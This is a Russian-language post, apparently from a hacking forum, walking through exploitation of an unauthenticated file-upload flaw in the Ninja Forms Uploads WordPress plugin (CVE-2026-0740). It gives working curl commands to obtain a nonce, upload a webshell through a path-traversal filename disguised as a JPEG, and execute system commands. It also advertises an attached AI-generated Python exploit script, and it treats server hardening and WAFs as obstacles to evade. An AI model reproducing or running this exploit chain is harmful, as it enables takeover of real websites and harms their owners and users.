Хайды в разделе базы для брута
ru:
На данном форуме не работает система просмотров хайда после ответа в теме! Для того, что бы увидеть скрытый контент, вы должны развиватся на форуме (зарабатывать реакции) или приобрести премиум статус - Повышение

En:
Hyde's view system does not work on this forum after the answer in the topic! In order to see the hidden content, you must be active on the forum (earn reactions) or purchase a premium status - Upgrade
  • Добро пожаловать на сайт - Forumteam.bet !

    Что бы просматривать темы форума необходимо зарегестрироваться или войти в свой аккаунт.

    Группа в телеграме (подпишитесь, что бы не потерять нас) - ForumTeam Chat [Подписатся]
    Связь с администратором - @ftmadmin

[Python/Bash + Apex AI] Уязвимость в плагине Ninja Forms Uploads для WordPress (CVE-2026-0740)

DarkholdRT

Модератор
Команда форума
Регистрация
24.07.26
Разберём эксплуатацию неаутентифицированной произвольной загрузки файлов (Unauthenticated Arbitrary File Upload) в плагине Ninja Forms Uploads для WordPress (CVE-2026-0740).

Пошаговый разбор работы эксплойта​

  1. Генерация случайного идентификатора поля (field_id)
    Скрипт генерирует случайное число (например, 16-значное). В нормальной ситуации field_id должен соответствовать реальному полю формы, созданному администратором.
  2. Получение nonce (защитного токена)
    Bash:
    curl -s -X POST "$target/wp-admin/admin-ajax.php" -d "action=nf_fu_get_new_nonce&field_id=$field_id"
    Скрипт обращается к файлу admin-ajax.php (который в WordPress доступен без авторизации) и запрашивает токен безопасности (nonce) для действия nf_fu_get_new_nonce.
    Уязвимость: Плагин ошибочно генерирует и возвращает валидный nonce для любого переданного field_id, не проверяя, существует ли такая форма или имеет ли пользователь право на загрузку. Это позволяет обойти проверку подлинности запроса.
  3. Загрузка файла с использованием обхода путей (Path Traversal)
    Bash:
    curl -ks -X POST "$target/wp-admin/admin-ajax.php" \
            -F "action=nf_fu_upload" \
            -F "nonce=$nonce" \
            -F "form_id=$field_id" \
            -F "field_id=$field_id" \
            -F "image_jpg=../../../$file_name" \
            -F "files-$field_id=@/tmp/$file_name;filename=image.jpg;type=image/jpeg"

    Это ядро уязвимости. Здесь используются две хитрости:
    • Маскировка: Файл отправляется как image.jpg с MIME-типом image/jpeg, чтобы обойти базовые проверки расширения и типа файла на стороне клиента или простые проверки сервера.
    • Directory Traversal (../../../): Параметр image_jpg=../../../webshell.php является критическим. Вместо того чтобы безопасно сохранить файл во временной директории или папке загрузок (например, wp-content/uploads/ninja-forms/), уязвимый код плагина, вероятно, использует значение параметра image_jpg для формирования итогового пути сохранения. Последовательность ../../../ заставляет сервер "подняться" на три уровня вверх из целевой папки и сохранить файл прямо в директории wp-content/ под именем webshell.php.
  4. Выполнение кода:
    Bash:
    curl -ks "$target/wp-content/webshell.php?cmd=id"
    Поскольку файл был сохранен в общедоступной директории wp-content/ с расширением .php, веб-сервер (Apache/Nginx) интерпретирует его как PHP-скрипт. Передача параметра ?cmd=id позволяет выполнить произвольную системную команду на сервере.
DISCLAIMER:
Нет, не на любом. Успешная эксплуатация зависит от множества факторов конфигурации сервера и защиты:
  1. Точная версия плагина: Уязвимость должна присутствовать в установленной версии (в описании указана 3.3.24, но может затрагивать и соседние версии до выхода патча). Если плагин обновлен, эксплойт не сработает.
  2. Настройки прав доступа к файлам: Для успешной записи файла в wp-content/ процесс веб-сервера (например, www-data) должен иметь права на запись в эту директорию. Хотя это часто так, в некоторых конфигурациях права могут быть ограничены.
  3. Выполнение PHP в директории wp-content:
    Это самый частый способ защиты. Администраторы могут добавить в файл .htaccess (для Apache) или в конфигурацию Nginx правило, запрещающее выполнение PHP-скриптов в директориях загрузок и в wp-content.
    Пример для Apache: php_flag engine off (можно пробовать другие расширения)
    Пример для Nginx
    : location ~* ^/wp-content/.*\.php$ { deny all; }
    Если такая защита настроена, сервер вернет ошибку 403 Forbidden или просто отдаст исходный код файла как текст, но не выполнит его.
  4. Web Application Firewall (WAF):
    Современные WAF (например, Cloudflare, ModSecurity, Wordfence, iThemes Security) почти наверняка заблокируют этот запрос. Сигнатуры, содержащие ../../../, admin-ajax.php с подозрительными параметрами или попытку загрузки .php под видом .jpg, являются классическими триггерами для блокировки.
  5. Отключение admin-ajax.php для гостей: Некоторые плагины безопасности ограничивают доступ к admin-ajax.php только для авторизованных пользователей, что сломает самый первый шаг эксплойта (получение nonce).

В архиве прикреплено Python скритп, который поможет оптимизировать запросы, сгенерировано с Apex-AI.
Запуск python скрипта:
Bash:
python cve_2026_0740.py https://example.com -v
 
Сверху Снизу